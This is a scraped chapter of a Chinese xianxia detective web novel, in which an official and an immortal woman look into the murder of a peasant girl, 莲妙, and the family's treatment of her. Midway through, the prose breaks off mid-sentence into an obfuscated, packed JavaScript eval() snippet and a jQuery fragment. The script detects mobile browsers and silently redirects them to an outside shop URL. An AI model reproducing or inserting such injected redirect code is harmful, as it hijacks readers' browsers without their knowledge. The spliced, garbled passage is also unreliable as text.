文趣网 > 其他小说 > 恰听风吟 > 9. 莲妙
    身后突然响起的声音吓了祝秋扬一大跳,他抚上胸口转身看,裴柳泛站在台阶上面无表情的瞧,他未穿官服,绛紫色服饰勾勒出纤细高挑的身姿,眉宇间充满阴郁之气,狭长的眼睛眯起似在审视,却无端给人一种诡异的压迫。

    “您还有什么事吗?”他轻声开口。

    祝秋扬冷不丁打了个寒颤,摇摇头转身离去。

    剩下风吟眉眼含笑的看着,仿若刚刚的大家风范也只是一场虚假的幻境。

    “风姑娘换了身衣裳,怎么连耳坠也不愿意戴了?”

    原先红色的圆领袍脱下换上一身青绿色的齐濡裙,未画浓妆却梳发髻,头上金钗夸张的让人不知该说什么,原先挂在耳上的红色玛瑙如今换上一串青色玉珠,她抬手摸了摸发髻,金钗闪过荧光化为一朵青绿牡丹,云髻变幻偏梳,淡妆浓抹,眨眼间又是一个装扮。

    “红色过于显眼,红玛瑙也不及一身青绿,怎么?我这身装扮不好看?”

    她语气漫不经心,嘴上这么问实则压根不在乎裴柳泛做何评价,只抬起步子走到他身边手搭在他肩上轻拍两下走进正堂。

    裴柳泛不懂她想做什么,转身跟在身后询问:“你早就知道祝家小姐会失踪,所以今早做出那副装扮是为了告诉我,今日祝秋扬会来?”

    他看着风吟坐到他刚才坐的位置上指尖轻敲案桌,上面吃了一半的糕点瞬间重回原样,她手上不知又何时多了杯茶水,饮下一口后才有心情抬眼看裴柳泛焦急的模样。

    “是啊,那日酒楼你让我先走,我途径街道的时候撞上了人家,只一眼便看出她是要跑,我心想若是阻拦耽误她可怎么办,就提醒了一句,有什么问题吗?”

    “没,是在下的错。”

    他往后都不会再让风吟独自一个人上街。

    裴柳泛咬牙切齿:“既如此,那她便不是今早离开?她去了何处?”

    “这我怎好告诉你!”风吟抬手变出一把团扇捂住嘴巴惊呼,扇上印出两只蝴蝶,她半边身子搭在案桌上,语气要多为难有多为难:‘‘人家是要逃跑,我若说了岂非是我之过,再说那祝秋扬也不是什么好东西,我干嘛要帮他。’’

    她今日应当是又看了什么神仙妖怪的话本,所以举手投足间尽在模仿狐狸妖媚姿态,裴柳泛看不下去,上前扯住她的衣服让她坐直,顺势单膝跪在她面前道:“算是在下求风姑娘,给在下些线索可好?不是帮他,是帮帮我。”

    嘴上说着,搭在风吟腿上的手开始给她按摩。

    他与风吟认识虽不算长久,但心中也知晓只要不主动招惹,这位神仙其实很好说话,平日与寻常姑娘别无一二,爱打扮,逛庙会,恶作剧,只是喜欢在凡人面前装出温柔大方的模样,若是能让她露出真心实意的笑容来便是要天上的星星她都能顺手摘下赠予,但若是让她不快抬手之间便是灰飞烟灭。

    为了大理寺众人能好过,多数时间裴柳泛其实都不愿意招惹这位,只要不是违背凡人秩序的事她做了也便做了。

    当然,便是真违背凡人秩序他也说不得什么。

    “裴大人如此知趣,我不妨就给你提个醒?”她拂去裴柳泛搭在自己腿上按摩的手,弯腰靠近裴柳泛在他耳边轻声说:“你城外见到的尸体或许认识她,二者之间有异曲同工之处,却又毫不相符。”

    裴柳泛尚未反应,直起身子时风吟已消失的无影无踪。

    ......

    城中布告栏添上新画,悬赏得知消息者可得到一千钱,不出半日便有知情者来到大理寺告知死者姓名莲妙,是城南一家农户的女儿,年纪轻轻就要赚钱养家,弟弟还是个不着调的混头。

    “案件发生到现在她家中也无人出现,想来对她应当丝毫不关心。”

    赵瑾抱臂开口,语气间满是鄙夷,她素来看不起这种只知重男却轻视女儿的家庭,好似女儿是什么毒药般弃之如弊。

    莲妙的画像就摆在桌上,画中少女看起来年岁不高,天生便唇角上扬,因而便是没什么表情都给人笑意盈盈的感觉。

    如此大好年华,如今却曝尸荒野。

    “还有…属下原先以为我们城外所见的蝴蝶是西域毒蝶,但我那时抓了一只再仔细研究后发现这蝴蝶很怪异,只是长了个西域毒蝶的皮,内里空虚看不到血肉。”

    赵瑾说完将包里蝴蝶拿出放在桌上,小小的身体被锁在罐子里宛若死尸,一动不动。

    钱一上手晃了两下也没什么反应。

    “这玩意儿这么奇怪?”

    “对,就是很奇怪,我翻遍师父的书籍也没看到,后来我去找我师娘,结果她也没见过,甚至兴奋的都要把我的东西抢走。”

    “我知道有人或许见过。”

    裴柳泛将其拿起心想或许给风吟瞧一瞧便能知道这是个什么东西,想来她活了两千多岁,要是连一只蝴蝶都不知道那才真是可笑至极。

    钱一见蝴蝶被大人收起,开口说出今日去莲妙家的见闻。

    莲妙家并非富裕,所居之所也看不出特殊,只是简单的茅草房屋,在天都城算是特困人家。

    钱一踏足之时看到院中只有一妇人坐在地上摘麦穗,那妇人穿着朴素,发髻散乱,脸上未施粉黛,半边脸颊略微青肿,神情麻木到连家中来人都未曾注意。

    “这里莲妙的家?”

    虽说大理寺无案件之时裴柳泛会带人走访,但因着钱一脸臭都是钱二带着人去,现如今钱二被派去寻找祝家小姐才会让他来做这些。

    他也只能模仿钱二的模样,上前弯腰温声询问。

    妇人听到声音抬头,见到钱二的那一刻眼神惊恐连忙跪在地上大喊:“官爷,民妇无罪!民妇无罪!民妇不是故意伤害自家夫婿,不是故意的!”

    什么玩意儿?

    钱一无措回头,后退两步让身后的女侍卫来说,女侍卫上前扶起对方,语气柔和而又缓慢。

    “大娘,我们是大理寺来走访的,想问问您家中可需要什么帮助?”

    “帮助?”

    “是,您需要什么我们都会记录,然后回去统一打点想办法帮您。”

    妇人听完似乎在犹豫,双手绞着半天嘴里嘟嘟囔囔:“我不做主,你问我夫婿,他就在屋内。”

    “大人您是不知道,她那夫婿养的肥膘体壮,和她比简直天壤之别,头上包的的纱布里什么伤口也没有,在那里装病就算了,他还打女人!”

    钱一语气愤恨,说道打女人的时候恨不得将那人的手脚剁下来。

    裴柳泛抬头瞧了他一眼道:“接着说。”

    钱一进了屋子让侍卫将那男人从屋子里拉到院内,让人先是跪着给自己娘子嗑三个响头,而后询问家中可知莲妙去了何处。

    跪在地上的男人语无伦次,半天说不出来自己的女儿到底跑到什么地方,他转头又看妇人,谁知道妇人也说不出话。

    “你们便是这么对待女儿?不知道的还以为莲妙是从哪个巷子里捡来的。”

    “大人,话不能这么说,我们对女儿那是顶顶好,再说了…一个女人能做什么呀?自然是让他早早的去干活补贴家里,现如今应该是正在外赚钱呢。”

    “赚钱?”

    钱一听了想笑,对死去的莲妙是又心疼又惋惜,人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677015|207518||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    死了没有家人关心,甚至连寻找都没想过。

    他深吸一口气:“莲妙死了,尸体就在大理寺。”

    “什么!”妇人尖叫一声,扑到钱一的脚边大喊:“你在说谎是不是!官爷你在说谎,我家莲妙才不会死!她才不会死!她是出去给我们家赚钱了,她还说要带我走,他才不会死!”

    钱一不理解,后退两步不知道说什么。

    瞧那妇人语无伦次的乱喊,鼻涕混着眼泪撒了一地,身旁的男人听到妇人说的这话顿时就要抬手打她。

    “属下拦了下来,后听领居说才知道莲妙在家中过的是真不好,爹不疼,娘指着她带自己走,弟弟也是个混货,送他去书堂上学结果他偷钱跑去赌场。”

    钱一越说越气,还未发作旁边的赵瑾已经打算从自己包里掏出点有趣的药丸给那男人来点见识。

    裴柳泛偏头瞧她一眼,接着问:“可知道莲妙的弟弟去的是哪一家的赌场。”

    “朱雀大街财富楼旁的销金窟。”

    凡人都道赌博拼运气,手气,手段,却不知道,这些早早就被人定好筹码,销金窟便是这样一个已经定好价码的地方。

    它接纳所有为赌痴狂的人与鬼。

    用华丽的外表让所有人沉溺其中。

    天都城内最大的赌场,连牌匾都镶上金丝,内里奢华万分,不同阶级的贵人聚集于此,有人为一飞冲天,有人为心中痴狂。

    游离在销金窟的不是金钱,而是骰子的点数,凡人的执念。

    莲耀摸着手中的钱袋子,抬手抹掉鼻子脸上的血,这是他刚刚偷钱被发现打出的血,但谁叫他本事高超,被打了也能偷到钱。

    他摸着腰间沉甸甸的钱袋,上面精细的鸳鸯花纹不难看出是哪家公子或小姐的贴身物,如今落在他手里沾上灰,鸳鸯花纹也看不出原貌。

    “今日又来了?”

    站在门口迎客的小二看到莲耀,语气多少沾上点鄙夷。

    这人为赌偷钱的事情谁都知道。

    就是关进公懈都没什么用,出来还是偷,被打了板子也要赌。

    莲耀没说话,仰着头得意洋洋的晃了晃手里的钱袋子,抬起步子就要进去。

    小二哼笑一声接着道:“你今日走运,销金库来了一位新客人,最不缺的就是钱,你要是能从她手里赢,指头缝露出来一点,你这辈子都衣食无忧”

    “真的假的?”莲耀不敢相信:“这么有钱?比那位赵公子还有钱吗?”

    “赵公子在她面前都排不上号!”

    莲耀顺着小二的视线朝里看,往日各在赌桌上的赌客聚在一起探头,疯狂又诡异的场面给今日的销金窟又上了一层氛围,耳边能清楚听到那些人或兴奋,或喜悦,又或是悲哭的情绪。

    莲耀被吸引上前,奋力朝人群里面钻。

    他身形小,左右跑跑也就成功钻了进去,虽然上方被人挡住他也能弯着腰蹲在地上从人裆里面钻过去抬头看。

    坐在庄家位置上的是个女人。

    漂亮的女人。

    莲耀不会形容,爹娘送他去学堂他去也不去,只一心想着赌博,如今见了也只能感叹真好看。

    衣裳好看,发饰好看,脸更好看。

    倚在座位上拿着团扇就这么笑一笑都能让他热血沸腾,只希望跪在脚边能做她身边一条野狗。

    他看的入迷,丝毫没注意到这局赌注已成定局,对面又一个输光自己所有积蓄的挑战者。

    只见那个美人笑一笑,拿着团扇的手伸道赌桌将所有银子拂到自己面前,随即略有失望的开口:“看来你是做不了我的狗了。”